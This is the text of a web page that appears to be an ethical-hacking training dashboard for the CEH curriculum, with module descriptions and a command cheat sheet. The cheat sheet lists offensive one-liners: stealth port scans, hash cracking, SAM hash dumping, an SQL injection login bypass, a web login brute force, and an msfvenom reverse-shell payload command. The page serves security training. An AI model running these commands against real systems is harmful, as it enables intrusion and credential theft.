⚠️ WARNING

Are you sure you want to completely reset all training progress, quizzes, and CTF flags? (Custom tools and categories will remain saved.) This cannot be undone.

🏠 Home 🎮 Games 📝 Notes ⚡ Payloads 💻 Terminal 🚩 CTF 🗺️ Roadmap
|||||||||||||||

PWNBOX AGENT ID

?

ALIAS

UNKNOWN AGENT

CLEARANCE

OPERATIVE SETTINGS

? 👾 🕵️ 💀

Welcome Back, Agent

Track your progression in the Certified Ethical Hacker (CEH) curriculum. Complete active modules, master reconnaissance tools, and unlock higher learning paths.

Overall Completion
16%
0 / 7
Modules Completed
22
Tools Loaded
0
Custom Tools Added
4
Active Tool Categories

🛡️ Training Curriculum Tracks 💀

Active MODULE 01

Footprinting & Reconnaissance

Gather intelligence on a target system using passive and active OSINT tools, DNS scrapers, domain trackers, and metadata analysis checkers.

🌐 22+ Tools Loaded Launch Module ↗
Locked MODULE 02

Scanning Networks

Discover active hosts, open ports, and live service configurations. Practice banner grabbing and vulnerability identification.

🔒 Pre-req: Module 01
Locked MODULE 03

Enumeration & Mapping

Extract detailed systems details, machine usernames, network shares, routing paths, and service configurations from target hosts.

🔒 Pre-req: Module 02
Locked MODULE 04

Vulnerability Analysis

Perform vulnerability assessments to locate security gaps, analyze exploit paths, and assess corporate risks using automation.

🔒 Pre-req: Module 03
Locked MODULE 05

System Hacking

Gain admin control of target environments. Master privilege escalation, session hijacking, clearing logs, and backdoors.

🔒 Pre-req: Module 04
Locked MODULE 06

Web Application Threats

Examine and exploit OWASP Top 10 vulnerabilities including SQL injection, cross-site scripting (XSS), and authentication flaws.

🔒 Pre-req: Module 05
Bonus MODULE 07

OSINT & Threat Intelligence Arsenal

A dedicated reference library of internet-wide asset search engines, threat intelligence feeds, source-code search tools, and wireless recon platforms.

🛰️ 24 Tools Loaded Launch Module ↗

Learning Path Progression Timeline

Interactive sequence representing Certified Ethical Hacking methodology.

01. Recon
02. Scan
03. Enum
04. Vuln Analysis
05. Hack
06. Web Apps
07. OSINT

📄 CEH Command Cheat Sheet

Module 01: Recon & Footprinting

Query target domain registration records:
whois targetcompany.com
Lookup target DNS record types (A, MX, TXT):
nslookup -type=mx targetcompany.com
Dump exif geolocation data from image:
exiftool confidential.jpg

Module 02: Network Scanning

Quiet, stealthy TCP SYN port scan:
nmap -sS -Pn targetip
Brute-force discover subdirectories on site:
gobuster dir -u target.com -w common.txt
Grab service response headers (banner grab):
curl -I https://target.com

Module 03: System Enumeration

Query Windows/Samba system shares & users:
enum4linux -a 192.168.1.5
Walk the remote SNMP device management tree:
snmpwalk -v 2c -c public 192.168.1.10
Query Active Directory / LDAP servers:
ldapsearch -x -H ldap://192.168.1.20

Module 04: Vulnerability Analysis

Search for known exploits locally:
searchsploit apache 2.4
Perform vulnerability scan with Nmap:
nmap -sV --script vuln targetip
Run web server vulnerability scan:
nikto -h http://target.com

Module 05: System Hacking

Crack password hashes using wordlist:
hashcat -m 1000 hash.txt rockyou.txt
Generate reverse shell payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=4444 -f exe > shell.exe
Extract SAM hashes via Impacket:
secretsdump.py domain/user:pass@targetip

Module 06: Web App Threats

Classic SQLi Authentication Bypass:
' OR 1=1 --
Fuzz web directories/files:
wfuzz -c -z file,wordlist.txt http://target.com/FUZZ
Brute force web login form:
hydra -l admin -P pass.txt targetip http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"